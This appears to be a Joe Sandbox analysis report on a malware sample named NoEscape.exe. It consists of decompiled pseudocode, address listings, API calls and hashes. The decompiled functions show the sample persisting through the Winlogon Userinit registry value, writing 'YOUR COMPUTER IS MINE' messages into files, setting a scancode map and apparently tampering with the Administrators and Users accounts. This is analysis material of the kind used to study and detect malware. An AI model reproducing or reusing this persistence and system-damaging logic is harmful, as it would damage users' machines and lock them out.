									if(_t655 == 0) {
										_t793 = RtlAllocateHeap( *0x4083e0, 8, _v920);
										RegQueryValueExW(_v932, L"Userinit", 0,  &_v844, _t793,  &_v928); // executed
										L00404B5A();
										_t801 = _t801 + 0xc;
										 *((intOrPtr*)( *0x405014))(_v932, _v840, _t793, _v928);
										HeapFree( *0x4083e0, 0, _t793);
									}
								}
								_t642 = lstrlenW( *0x4083c8);
								_t726 =  *0x4083c8; // 0x6d5dd0
								__eflags =  *((short*)(_t726 + _t642 * 2 - 2)) - 0x2c;
								if( *((short*)(_t726 + _t642 * 2 - 2)) != 0x2c) {
									_t652 = lstrlenW(_t726);
									_t726 =  *0x4083c8; // 0x6d5dd0
									_t726[_t652] = 0x2c;
								}
								lstrcatW(_t726, L"C:\\Windows\\winnt32.exe");
								_t644 = lstrlenW( *0x4083c8);
								_t761 =  *0x4083c8; // 0x6d5dd0
								_v924 = 0x80000002;
								__eflags = _t761;
								if(_t761 != 0) {
									RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, 0, 0, 0x102, 0,  &_v924, 0); // executed
									RegSetValueExW(_v924, L"Userinit", 0, 1, _t761, _t644 + _t644); // executed
									RegCloseKey(_v924);
									_t761 =  *0x4083c8; // 0x6d5dd0
								}
								HeapFree( *0x4083e0, 0, _t761);
								MoveFileExW(L"C:\\Users\\jones\\Desktop\\NoEscape.exe", 0, 4); // executed
								 *0x405008(0, 0, 0, 7, 0x80000001); // executed
								goto L53;
							} else {
								_t794 = _v828;
								do {
									_t700 = E00403DD0(0x10, 0x20);
									 *0x4083dc = 0;
									__eflags = _t700;
									if(_t700 == 0) {
										goto L40;
									}
									do {
										_t671 = E00403DD0(0x530, 0x312f);
										_t745 =  *0x4083dc; // 0x17
										_t746 = _t745 + 1;
										 *0x4083dc = _t746;
										_t794[_t745 & 0x000000ff] = _t671;
										__eflags = _t746 - _t700;
									} while (_t746 < _t700);
									L40:
									_t664 = CreateFileW( *0x4083c8, 0x40000000, 0, 0, 2, 0x80, 0); // executed
									_t763 = _t664;
									__eflags = _t763 - 0xffffffff;
									if(_t763 != 0xffffffff) {
										__eflags = _t763;
										if(_t763 != 0) {
											WriteFile(_t763, "YOUR COMPUTER IS MINE. YOU CANNOT GET RID OF THIS MALWARE.N", 0x29a, 0, 0); // executed
										}
									}
									_push((_t700 & 0x000000ff) + (_t700 & 0x000000ff));
									_push(0);
									_push(_t794);
									L00404A40();
									_t801 = _t801 + 0xc;
									CloseHandle(_t763);
									_t668 =  *0x4083bc; // 0xe5
									_t669 = _t668 + 1;
									 *0x4083bc = _t669;
									__eflags = _t669 - _v916;
								} while (_t669 < _v916);
								goto L45;
							}
						}
						_t764 =  *0x405150; // 0x6eedc820
						_t795 =  *0x40514c; // 0x6eed8f30
						do {
							_v809 = _t523 - 1;
							_t702 = E00403DD0(0xa, 0x14);
							 *0x4083dc = 0;
							__eflags = _t702;
							if(_t702 == 0) {
								goto L24;
							} else {
								goto L23;
							}
							do {
								L23:
								_t683 = E00403DD0(0x530, 0x312f);
								_t703 =  *0x4083dc; // 0x17
								_t732 =  *0x4083c8; // 0x6d5dd0
								_t702 = _t703 + 1;
								 *0x4083dc = _t702;
								_t732[_t703 & 0x000000ff] = _t683;
								__eflags = _t702 - _t702;
							} while (_t702 < _t702);
							L24:
							_t674 =  *0x4083c8; // 0x6d5dd0
							_v812.message = 0;
							__eflags = _t674;
							if(_t674 != 0) {
								_v812.lParam = _t674;
								_v812.message = _t674;
								_v812.pt = 0;
								_v780.cbSize = 0;
								_v780.lpfnWndProc = 0;
								_v812.time = L"scancode_map";
								_v784 = 0;
								_v780.style = 1;
								_v788 = 1;
								_t678 =  *_t764(0, 1,  &(_v812.lParam), 0); // executed
								__eflags = _t678;
								if(_t678 == 0) {
									 *_t795(0, L"Administrators", 3,  &_v824, 1); // executed
									 *_t795(0, L"Users", 3,  &_v844, 1);
								}
							}
							_push((_t702 & 0x000000ff) + (_t702 & 0x000000ff));
							_push(0);
							_push( *0x4083c8);
							L00404A40();
							_t523 = _v809;
							_t801 = _t801 + 0xc;
							__eflags = _t523;
						} while (_t523 != 0);
						_t698 =  *0x405120;
						goto L29;
					}
					_t710 = _t709 + 2;
					__eflags = _t710;
					goto L14;
				} else {
					_t684 = RtlAllocateHeap( *0x4083e0, 8, 0x9c);
					 *0x4083c8 = _t684;
					wsprintfW(_t684, L"You are running NT %d.%d!\r\nThis malware requires NT 10.0 to run properly.", _v520, _v516);
					_t801 = _t803 + 0x10;
					MessageBoxW(0,  *0x4083c8, L"WINNT32", 0x10);
					 *((intOrPtr*)( *0x405128))( *0x4083e0, 0,  *0x4083c8);
					goto L54;
				}
			}

0x00401bb6
0x00401bb7
0x00401bb8
0x00401bb9
0x00401bba
0x00401bbb
0x00401bbc
0x00401bbd
0x00401bbe
0x00401bbf
0x00401bc6
0x00401bcc
0x00401bd3
0x00401bdd
0x00401be2
0x00401bec
0x00401bf7
0x00401c15
0x00401c1a
0x00401c20
0x00401c2c
0x00401c30
0x00401c38
0x00401c44
0x00401c4f
0x00401c54
0x00401c60
0x00401c6b
0x00401c6b
0x00401c75
0x00401c9a
0x00401ca5
0x00401cab
0x00401cb1
0x00403404
0x00403413
0x00402f6c
0x00402f71
0x00402f85
0x00402f91
0x00402fa0
0x00402fbc
0x00402fbc
0x00401cc2
0x00401cce
0x00401cd0
0x00401cd4
0x00401cdf
0x00000000
0x00000000
0x00401cf4
0x00401cf9
0x00401cfc
0x00401d0f
0x00401d1d
0x00401d7f
0x00401d86
0x00401d8c
0x00401d8e
0x00401d93
0x00401d96
0x00401d9e
0x00401da5
0x00401dad
0x00401db4
0x00401dbc
0x00401dc3
0x00401dcb
0x00401dd2
0x00401dda
0x00401de1
0x00401de9
0x00401df0
0x00401df8
0x00401dff
0x00401e07
0x00401e23
0x00401e2a
0x00401e34
0x00401e3a
0x00401e40
0x00401e45
0x00401e47
0x00401e4c
0x00401e4c
0x00401e50
0x00401e5d
0x00401e63
0x00401e66
0x00401e74
0x00401e86
0x00401e8c
0x00401e93
0x00401e95
0x00401e9d
0x00401ea0
0x00401ea3
0x00401ea3
0x00401ea7
0x00000000
0x00000000
0x00401ea9
0x00401eac
0x00401eae
0x00000000
0x00000000
0x00401eb0
0x00401eb7
0x00401eb7
0x00401ec3
0x00401ed9
0x00401ee2
0x00401ee7
0x00401ee8
0x00401eed
0x00401ef2
0x00401f05
0x00401f14
0x00401f1a
0x00401f1c
0x00402f68
0x00402f68
0x00000000
0x00402f68
0x00401f22
0x00401f28
0x00401f28
0x00401f2a
0x00401f31
0x00401f38
0x00401f3f
0x00401f46
0x00401f46
0x00401f49
0x00401f4f
0x00401f59
0x00401f59
0x00401f6a
0x00401f70
0x00401f7a
0x00401f8e
0x00401f95
0x00401f9b
0x00401f9e
0x00402fc2
0x00402fdf
0x00402fef
0x00402ffa
0x00402ffc
0x00403007
0x00403009
0x00403011
0x00403016
0x0040301a
0x0040301c
0x00403024
0x00403024
0x0040303e
0x00403053
0x0040305d
0x00403063
0x00403063
0x0040306b
0x0040306d
0x00403075
0x0040307a
0x0040307e
0x00403080
0x00403088
0x00403088
0x004030a2
0x004030b7
0x004030c1
0x004030c7
0x004030c7
0x004030d5
0x004030db
0x004030de
0x004030e0
0x004032aa
0x004032ae
0x00000000
0x00000000
0x004032b5
0x004032b7
0x004032ba
0x00000000
0x00000000
0x004032c0
0x004032cb
0x004032cd
0x004032d0
0x004032d2
0x00000000
0x00000000
0x004032e2
0x004032e4
0x004032e8
0x004032ee
0x004032f0
0x00000000
0x00000000
0x004032fe
0x00403304
0x00403307
0x00403309
0x00000000
0x00000000
0x0040330f
0x00403314
0x00403318
0x00403358
0x0040335c
0x004033cf
0x004033cf
0x004033dd
0x004033fa
0x00000000
0x004033fa
0x0040335e
0x00403364
0x00000000
0x00000000
0x00403366
0x0040336a
0x00000000
0x00000000
0x00403373
0x00403375
0x00403378
0x004033a5
0x004033ae
0x004033ba
0x004033bf
0x004033c5
0x004033c5
0x00000000
0x004033bf
0x0040337f
0x00403381
0x00403384
0x00403386
0x00000000
0x00000000
0x00403391
0x00403393
0x0040339a
0x0040339c
0x0040339f
0x00000000
0x00000000
0x00000000
0x0040339f
0x0040331a
0x00403320
0x00000000
0x00000000
0x00403332
0x00403338
0x0040333a
0x00000000
0x00000000
0x0040334d
0x00000000
0x004030e6
0x004030f4
0x004030f6
0x004030fc
0x00403101
0x00000000
0x00000000
0x0040310d
0x0040311e
0x00403124
0x00403129
0x00403132
0x0040313a
0x00403142
0x00403148
0x0040314e
0x00403156
0x0040315e
0x00403166
0x0040317e
0x0040318c
0x00403192
0x0040319b
0x004031d2
0x004031ea
0x004031ef
0x004031f4
0x004031f9
0x00403200
0x00403200
0x00403206
0x0040320b
0x0040320f
0x00403231
0x00403235
0x00000000
0x00000000
0x00403237
0x0040323d
0x00000000
0x00000000
0x00403248
0x0040324a
0x0040324c
0x0040324e
0x00403250
0x00000000
0x00403211
0x00403211
0x00403217
0x0040325f
0x00403270
0x00403272
0x00403274
0x00000000
0x00000000
0x00403286
0x0040328b
0x00403292
0x0040329f
0x004032a1
0x004032a1
0x00000000
0x004032a5
0x00403222
0x00403224
0x00403226
0x00403228
0x0040322a
0x00403255
0x00403259
0x00000000
0x00403259
0x0040320f
0x004030e0
0x00401fad
0x00401fb3
0x00401fb9
0x00401fbe
0x00000000
0x00000000
0x00401fd2
0x00401fd8
0x00401fdb
0x00000000
0x00000000
0x00401fe1
0x00401fe4
0x00401ff6
0x00402000
0x00402005
0x00402009
0x0040200b
0x00402120
0x00402130
0x00402136
0x00402138
0x0040213a
0x0040213c
0x0040213f
0x00402141
0x00402144
0x00402148
0x00402148
0x00402153
0x00402159
0x00402163
0x00402169
0x00402173
0x00402184
0x0040218f
0x00402197
0x004021a8
0x004021b0
0x004021c1
0x004021c8
0x004021d2
0x004021f9
0x0040220e
0x0040221e
0x00402226
0x00402246
0x0040224e
0x00402264
0x0040226e
0x00402270
0x0040227e
0x0040229e
0x004022b4
0x004022be
0x004022c6
0x004022e6
0x004022ee
0x00402304
0x0040230e
0x00402316
0x00402336
0x0040233e
0x00402354
0x0040235e
0x0040237d
0x00402385
0x0040238c
0x0040238f
0x00402395
0x0040239c
0x0040239e
0x004023af
0x004023b1
0x004023b7
0x004023bc
0x004023c2
0x004023c2
0x004023c4
0x004023cc
0x004023d4
0x004023df
0x004023ea
0x004023f5
0x00402400
0x00402405
0x0040240d
0x0040241a
0x0040242a
0x00402434
0x00402436
0x0040243e
0x00402446
0x0040244a
0x0040244f
0x00402451
0x00402456
0x00402456
0x00402462
0x00402468
0x00402473
0x0040247e
0x00402489
0x00402494
0x0040249f
0x004024aa
0x004024b5
0x004024c0
0x004024cb
0x004024d6
0x004024e1
0x004024ec
0x004024f7
0x00402502
0x0040250d
0x00402518
0x00402523
0x0040252e
0x00402539
0x00402544
0x0040254f
0x0040255a
0x00402565
0x00402570
0x0040257b
0x00402586
0x00402591
0x0040259c
0x004025a7
0x004025b2
0x004025bd
0x004025c8
0x004025d3
0x004025de
0x004025e9
0x004025f4
0x004025ff
0x0040260a
0x00402615
0x00402620
0x0040262b
0x00402636
0x00402641
0x0040264c
0x00402657
0x00402662
0x0040266d
0x00402678
0x00402683
0x0040268e
0x00402699
0x004026a4
0x004026af
0x004026ba
0x004026c5
0x004026d0
0x004026db
0x004026e6
0x004026f1
0x004026fc
0x00402707
0x00402712
0x0040271d
0x00402728
0x00402733
0x0040273e
0x00402749
0x00402754
0x0040275f
0x0040276a
0x00402775
0x00402780
0x0040278b
0x00402796
0x004027a1
0x004027ac
0x004027bd
0x004027e0
0x004027eb
0x004027f6
0x00402801
0x0040280c
0x00402817
0x00402822
0x0040282d
0x00402838
0x00402843
0x0040284e
0x00402859
0x00402864
0x0040286f
0x0040287a
0x00402885
0x00402890
0x0040289b
0x004028a6
0x004028b1
0x004028bc
0x004028c7
0x004028d2
0x004028dd
0x004028e8
0x004028f3
0x004028fe
0x00402909
0x00402914
0x0040291f
0x0040292a
0x00402935
0x00402940
0x0040294b
0x00402956
0x00402961
0x0040296c
0x00402977
0x00402982
0x0040298a
0x004029aa
0x004029b9
0x004029c0
0x004029c4
0x004029eb
0x00402a04
0x00402a14
0x00402a1c
0x00402a3c
0x00402a44
0x00402a5e
0x00402a68
0x00402a70
0x00402a90
0x00402a98
0x00402ab2
0x00402abc
0x00402ac4
0x00402ae4
0x00402aec
0x00402b06
0x00402b10
0x00402b29
0x00402b39
0x00402b44
0x00402b46
0x00402b4e
0x00402b5f
0x00402b6b
0x00402b8b
0x00402b93
0x00402bad
0x00402bb7
0x00402bbf
0x00402bdf
0x00402be7
0x00402c01
0x00402c0b
0x00402c12
0x00402c1c
0x00402c28
0x00402c36
0x00402c48
0x00402c4a
0x00402c4c
0x00402c4e
0x00402c50
0x00402c54
0x00402c55
0x00402c56
0x00402c5b
0x00402c5e
0x00402c5e
0x00402c66
0x00402c6c
0x00402c73
0x00402c75
0x00402c83
0x00402c8b
0x00402c91
0x00402c95
0x00402c9b
0x00402ca7
0x00402cbd
0x00402cc0
0x00402cc4
0x00402cc7
0x00402d8d
0x00402d9b
0x00402dad
0x00402dba
0x00402ddd
0x00402ddf
0x00402de3
0x00402dfe
0x00402e09
0x00402e11
0x00402e19
0x00402e1f
0x00402e21
0x00402e44
0x00402e46
0x00402e48
0x00402e58
0x00402e70
0x00402e7b
0x00402e85
0x00402e8c
0x00402e97
0x00402e97
0x00402e48
0x00402ea3
0x00402ea5
0x00402eab
0x00402eb1
0x00402eb4
0x00402eb6
0x00402ec1
0x00402ec1
0x00402ecb
0x00402ed7
0x00402ed9
0x00402edf
0x00402ee7
0x00402ee9
0x00402f0c
0x00402f21
0x00402f2b
0x00402f31
0x00402f31
0x00402f40
0x00402f4f
0x00402f62
0x00000000
0x00402ccd
0x00402ccd
0x00402cd1
0x00402cde
0x00402ce0
0x00402ce7
0x00402ce9
0x00000000
0x00000000
0x00402cf0
0x00402cfa
0x00402cff
0x00402d08
0x00402d0a
0x00402d10
0x00402d14
0x00402d14
0x00402d18
0x00402d30
0x00402d36
0x00402d38
0x00402d3b
0x00402d3d
0x00402d3f
0x00402d50
0x00402d50
0x00402d3f
0x00402d5b
0x00402d5c
0x00402d5e
0x00402d5f
0x00402d64
0x00402d68
0x00402d6e
0x00402d74
0x00402d76
0x00402d7c
0x00402d7c
0x00000000
0x00402d87
0x00402cc7
0x00402011
0x00402017
0x00402020
0x00402027
0x00402033
0x00402035
0x0040203c
0x0040203e
0x00000000
0x00000000
0x00000000
0x00000000
0x00402040
0x00402040
0x0040204a
0x0040204f
0x00402055
0x0040205e
0x00402060
0x00402066
0x0040206a
0x0040206a
0x0040206e
0x0040206e
0x00402073
0x0040207b
0x0040207d
0x00402085
0x00402089
0x00402096
0x0040209e
0x004020a6
0x004020ae
0x004020b6
0x004020be
0x004020c6
0x004020ce
0x004020d0
0x004020d2
0x004020e4
0x004020f6
0x004020f6
0x004020d2
0x004020fd
0x004020fe
0x00402100
0x00402106
0x0040210b
0x0040210f
0x00402112
0x00402112
0x0040211a
0x00000000
0x0040211a
0x00401eb4
0x00401eb4
0x00000000
0x00401d1f
0x00401d2c
0x00401d35
0x00401d47
0x00401d4d
0x00401d5f
0x00401d78
0x00000000
0x00401d78

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00401BE6
GetProcessHeap.KERNEL32 ref: 00401BF1
GetCurrentProcess.KERNEL32 ref: 00401BFC
RtlAllocateHeap.NTDLL(00000008,00001866), ref: 00401C1A
RtlAllocateHeap.NTDLL(00000008,00000010), ref: 00401C44
RtlInitializeCriticalSection.NTDLL(004083A0), ref: 00401C6B
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401CA5
CheckTokenMembership.KERNELBASE(00000000,?,?), ref: 00401CC2
FreeSid.ADVAPI32(?), ref: 00401CD4
RtlGetVersion.NTDLL(0000011C), ref: 00401D0F
RtlAllocateHeap.NTDLL(00000008,0000009C), ref: 00401D2C
wsprintfW.USER32 ref: 00401D47
MessageBoxW.USER32(00000000,WINNT32,00000010), ref: 00401D5F
RtlDeleteCriticalSection.NTDLL(004083A0), ref: 00402F71
HeapFree.KERNEL32(00000000), ref: 00402F85
CloseHandle.KERNEL32 ref: 00402F91
HeapFree.KERNEL32(00000000,?), ref: 00402FA0

Strings

You are running NT %d.%d!This malware requires NT 10.0 to run properly., xrefs: 00401D41
WINNT32, xrefs: 00401D52
RNG, xrefs: 00401C26

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: Heap$Allocate$Free$CriticalHandleInitializeProcessSection$CheckCloseCurrentDeleteMembershipMessageModuleTokenVersionwsprintf
String ID: RNG$WINNT32$You are running NT %d.%d!This malware requires NT 10.0 to run properly.
API String ID: 1166076428-2185261665
Opcode ID: ca3092e30bea27cea9a17c429a3784e6fc16c9af466ac7e6c29effbb626a085e
Instruction ID: abae708f818736fda39fa9fd9c747812b68d4112694b06a861dc36b98a4099a6
Opcode Fuzzy Hash: ca3092e30bea27cea9a17c429a3784e6fc16c9af466ac7e6c29effbb626a085e
Instruction Fuzzy Hash: 46519E71644704ABE7209F60EE5EB9F7BA4FB88B41F100439FA84B51E0DBB694148F8D

Uniqueness

Uniqueness Score: -1.00%

Function 00404BE1, Relevance: 9.1, APIs: 6, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00404BE1(CHAR* __ecx, void* __edx) {
				void* __edi;
				signed int __esi;
				CHAR* _t18;
				void* _t23;
				intOrPtr _t26;
				CHAR** _t29;
				CHAR* _t30;
				CHAR* _t31;
				CHAR* _t33;
				CHAR* _t34;
				CHAR* _t37;
				struct HINSTANCE__* _t42;
				void* _t54;
				CHAR* _t56;
				void* _t57;
				CHAR* _t60;
				CHAR** _t61;
				CHAR** _t62;
				CHAR* _t65;
				void* _t66;
				void* _t68;

				_t54 = __edx;
				_t44 = __ecx;
				_t18 = GetModuleHandleA(??);
				if(_t18 == 0) {
					_t56 = _t60;
					L33:
					asm("lodsd");
					__eflags = _t18 - 0xffffffff;
					if(_t18 == 0xffffffff) {
						L48();
						_pop(_t57);
						_t55 = _t57 + 0xfffffeee;
						asm("stosb");
						asm("stosd");
						asm("popad");
						while(1) {
							E004043BB();
							E004046B0(_t42, _t55, 0x406668, 0x14);
							_t23 = E00404193(_t44, 1);
							_pop(_t44);
							if(_t23 == 0) {
								goto L19;
							}
							_t42 = 0;
							 *((char*)(_t66 - 0x19)) = 0;
							 *(_t66 - 4) =  *(_t66 - 4) & 0x00000000;
							 *((char*)(_t66 - 0x24)) = E00404161();
							_t26 =  *0x408020; // 0x2
							_t44 = 1;
							if(_t26 == 1) {
								goto L19;
							}
							if(_t26 != 0) {
								_t42 = 1;
								 *((char*)(_t66 - 0x19)) = 1;
								L8:
								E004042E7( *((intOrPtr*)(_t66 - 0x24)));
								_pop(_t44);
								_t61 = E0040447B();
								__eflags =  *_t61;
								if( *_t61 != 0) {
									_t34 = E00404253();
									_t44 = _t61;
									__eflags = _t34;
									if(_t34 != 0) {
										_t65 =  *_t61;
										_t44 = _t65;
										 *0x4052a0(0, 2, 0);
										 *_t65();
									}
								}
								_t29 = E00404481();
								_t62 = _t29;
								__eflags =  *_t62;
								if( *_t62 != 0) {
									_t29 = E00404253();
									_t44 = _t62;
									__eflags = _t29;
									if(_t29 != 0) {
										_push( *_t62);
										L00404AA6();
										_pop(_t44);
									}
								}
								L00404A6A();
								_t55 = _t29;
								L00404A94();
								L00404A8E();
								_push(_t29);
								_t30 = E00401BC0(_t42, _t29,  *_t29,  *_t29,  *_t29); // executed
								_t68 = _t68 + 0xc;
								_t60 = _t30;
								_t31 = E004045A6();
								__eflags = _t31;
								if(_t31 == 0) {
									L20:
									_push(_t60); // executed
									L00404A7C(); // executed
									_push( *((intOrPtr*)(_t66 - 0x20)));
									L00404A82();
									asm("int3");
									continue;
								} else {
									__eflags = _t42;
									if(_t42 == 0) {
										L00404A9A();
									}
									E00404304(1, 0);
									 *(_t66 - 4) = 0xfffffffe;
									_t33 = _t60;
									L18:
									 *[fs:0x0] =  *((intOrPtr*)(_t66 - 0x10));
									return _t33;
								}
							}
							 *0x408020 = 1;
							_push(0x4052bc);
							_push(0x4052b0); // executed
							L00404A76(); // executed
							if(_t26 == 0) {
								_push(0x4052ac);
								_push(0x4052a4); // executed
								L00404A70(); // executed
								 *0x408020 = 2;
								goto L8;
							}
							 *(_t66 - 4) = 0xfffffffe;
							_t33 = 0xff;
							goto L18;
							L19:
							E00404487(_t54, _t55, _t60, 7);
							goto L20;
						}
					}
					_t56 =  &(_t56[_t18]);
					__eflags = _t56;
					_t37 = GetModuleHandleA(_t60); // executed
					_t42 = _t37;
					do {
						asm("lodsb");
						__eflags = _t37;
						_t37 = 0;
						 *(_t60 - 1) = 0;
					} while (__eflags != 0);
					asm("lodsb");
					_t18 = _t37;
					__eflags = _t18;
					if(_t18 == 0) {
						goto L33;
					}
					__eflags = _t18 - 0x20;
					if(_t18 <= 0x20) {
						asm("lodsw");
						_t60 = _t60 - 1;
						__eflags = _t60;
						 *_t60 = 0;
						_push(0);
						L41:
						GetProcAddress(_t42, ??);
						asm("stosd");
						 *(_t60 - 1) = 0;
						asm("lodsb");
						_t37 = 0;
						__eflags = 0;
						_t15 = _t66 - 0xa;
						 *_t15 =  *(_t66 - 0xa) << 0xeb;
						__eflags =  *_t15;
					}
					_t60 = _t60 - 1;
					_push(_t60);
					goto L41;
				} else {
					L28();
					_push(__esi);
					__esi =  *(__edx + 0x74) * 0x506c6175;
					__eflags = __esi;
				}
			}

0x00404be1
0x00404be1
0x00404be6
0x00404be8
0x00404c28
0x00404c2a
0x00404c2a
0x00404c2b
0x00404c2e
0x00404c6d
0x00404c72
0x00404c73
0x00404c7b
0x00404c81
0x00404c82
0x00404102
0x00404102
0x00403f87
0x00403f8e
0x00403f93
0x00403f96
0x00000000
0x00000000
0x00403f9c
0x00403f9e
0x00403fa1
0x00403faa
0x00403fad
0x00403fb4
0x00403fb7
0x00000000
0x00000000
0x00403fbf
0x0040400a
0x0040400c
0x0040400f
0x00404012
0x00404017
0x0040401d
0x00404021
0x00404023
0x00404026
0x0040402b
0x0040402c
0x0040402e
0x00404030
0x00404036
0x00404038
0x0040403e
0x0040403e
0x0040402e
0x00404040
0x00404045
0x00404047
0x00404049
0x0040404c
0x00404051
0x00404052
0x00404054
0x00404056
0x00404058
0x0040405d
0x0040405d
0x00404054
0x0040405e
0x00404063
0x00404065
0x0040406c
0x00404071
0x00404075
0x0040407a
0x0040407d
0x0040407f
0x00404084
0x00404086
0x004040f3
0x004040f3
0x004040f4
0x004040f9
0x004040fc
0x00404101
0x00000000
0x00404088
0x00404088
0x0040408a
0x0040408c
0x0040408c
0x00404095
0x0040409c
0x004040a3
0x004040dc
0x004040df
0x004040eb
0x004040eb
0x00404086
0x00403fc1
0x00403fc7
0x00403fcc
0x00403fd1
0x00403fda
0x00403fed
0x00403ff2
0x00403ff7
0x00403ffe
0x00000000
0x00403ffe
0x00403fdc
0x00403fe3
0x00000000
0x004040ec
0x004040ee
0x00000000
0x004040ee
0x00404102
0x00404c30
0x00404c30
0x00404c33
0x00404c38
0x00404c3a
0x00404c3a
0x00404c3b
0x00404c3d
0x00404c3f
0x00404c3f
0x00404c44
0x00404c45
0x00404c45
0x00404c47
0x00000000
0x00000000
0x00404c49
0x00404c4b
0x00404c53
0x00404c55
0x00404c55
0x00404c56
0x00404c59
0x00404c5a
0x00404c5b
0x00404c60
0x00404c63
0x00404c66
0x00404c67
0x00404c67
0x00404c68
0x00404c68
0x00404c68
0x00404c68
0x00404c4d
0x00404c4e
0x00000000
0x00404bea
0x00404bea
0x00404bef
0x00404bf0
0x00404bf0
0x00404bf0

APIs

GetModuleHandleA.KERNEL32(00404BD8), ref: 00404BE1
GetModuleHandleA.KERNEL32(?,00404BD8), ref: 00404C33
GetProcAddress.KERNEL32(00000000,00000000), ref: 00404C5B

Part of subcall function 00404BFE: GetProcAddress.KERNEL32(00000000,00404BEF), ref: 00404BFF
Part of subcall function 00404BFE: VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00404BEF,00404BD8), ref: 00404C11
Part of subcall function 00404BFE: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00404BEF,00404BD8), ref: 00404C25

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction ID: e6b6af4bb9f21fde733b4a1185f9cc1d92df28795ad0199f48e1e946c7a4c610
Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction Fuzzy Hash: 8A01088054F24138FA2066750C46ABB5B888AE33657160BBBA350B76D3C9BC8802927E

Uniqueness

Uniqueness Score: -1.00%

Function 00404BA2, Relevance: 7.6, APIs: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00404BA2(struct HINSTANCE__* __ebx, CHAR* __ecx, void* __edx) {
				void* _t23;
				intOrPtr* _t24;
				intOrPtr* _t25;
				CHAR* _t27;
				void* _t32;
				intOrPtr _t35;
				CHAR** _t38;
				CHAR* _t39;
				CHAR* _t40;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t51;
				void* _t63;
				CHAR* _t65;
				void* _t66;
				CHAR* _t70;
				CHAR** _t71;
				CHAR** _t72;
				CHAR* _t75;
				void* _t76;
				void* _t78;

				_t63 = __edx;
				_t53 = __ecx;
				_t51 = __ebx;
				_pop(_t23);
				_t24 = _t23 + 0xe6;
				_t70 =  *_t24 + _t24;
				_t1 = _t24 + 6; // 0x25ff0040
				 *_t1 =  *((intOrPtr*)(_t24 + 6)) + _t24;
				 *((intOrPtr*)(_t24 + 0xc)) =  *((intOrPtr*)(_t24 + 0xc)) + _t24;
				_pop(_t25);
				_t27 = _t25 +  *_t25;
				if(_t27 != 0) {
					L35:
					_t65 = _t70;
					L36:
					asm("lodsd");
					__eflags = _t27 - 0xffffffff;
					if(_t27 == 0xffffffff) {
						L51();
						_pop(_t66);
						_t64 = _t66 + 0xfffffeee;
						asm("stosb");
						asm("stosd");
						asm("popad");
						while(1) {
							E004043BB();
							E004046B0(_t51, _t64, 0x406668, 0x14);
							_t32 = E00404193(_t53, 1);
							_pop(_t53);
							if(_t32 == 0) {
								goto L19;
							}
							_t51 = 0;
							 *((char*)(_t76 - 0x19)) = 0;
							 *(_t76 - 4) =  *(_t76 - 4) & 0x00000000;
							 *((char*)(_t76 - 0x24)) = E00404161();
							_t35 =  *0x408020; // 0x2
							_t53 = 1;
							if(_t35 == 1) {
								goto L19;
							}
							if(_t35 != 0) {
								_t51 = 1;
								 *((char*)(_t76 - 0x19)) = 1;
								L8:
								E004042E7( *((intOrPtr*)(_t76 - 0x24)));
								_pop(_t53);
								_t71 = E0040447B();
								__eflags =  *_t71;
								if( *_t71 != 0) {
									_t43 = E00404253();
									_t53 = _t71;
									__eflags = _t43;
									if(_t43 != 0) {
										_t75 =  *_t71;
										_t53 = _t75;
										 *0x4052a0(0, 2, 0);
										 *_t75();
									}
								}
								_t38 = E00404481();
								_t72 = _t38;
								__eflags =  *_t72;
								if( *_t72 != 0) {
									_t38 = E00404253();
									_t53 = _t72;
									__eflags = _t38;
									if(_t38 != 0) {
										_push( *_t72);
										L00404AA6();
										_pop(_t53);
									}
								}
								L00404A6A();
								_t64 = _t38;
								L00404A94();
								L00404A8E();
								_push(_t38);
								_t39 = E00401BC0(_t51, _t38,  *_t38,  *_t38,  *_t38); // executed
								_t78 = _t78 + 0xc;
								_t70 = _t39;
								_t40 = E004045A6();
								__eflags = _t40;
								if(_t40 == 0) {
									L20:
									_push(_t70); // executed
									L00404A7C(); // executed
									_push( *((intOrPtr*)(_t76 - 0x20)));
									L00404A82();
									asm("int3");
									continue;
								} else {
									__eflags = _t51;
									if(_t51 == 0) {
										L00404A9A();
									}
									E00404304(1, 0);
									 *(_t76 - 4) = 0xfffffffe;
									_t42 = _t70;
									L18:
									 *[fs:0x0] =  *((intOrPtr*)(_t76 - 0x10));
									return _t42;
								}
							}
							 *0x408020 = 1;
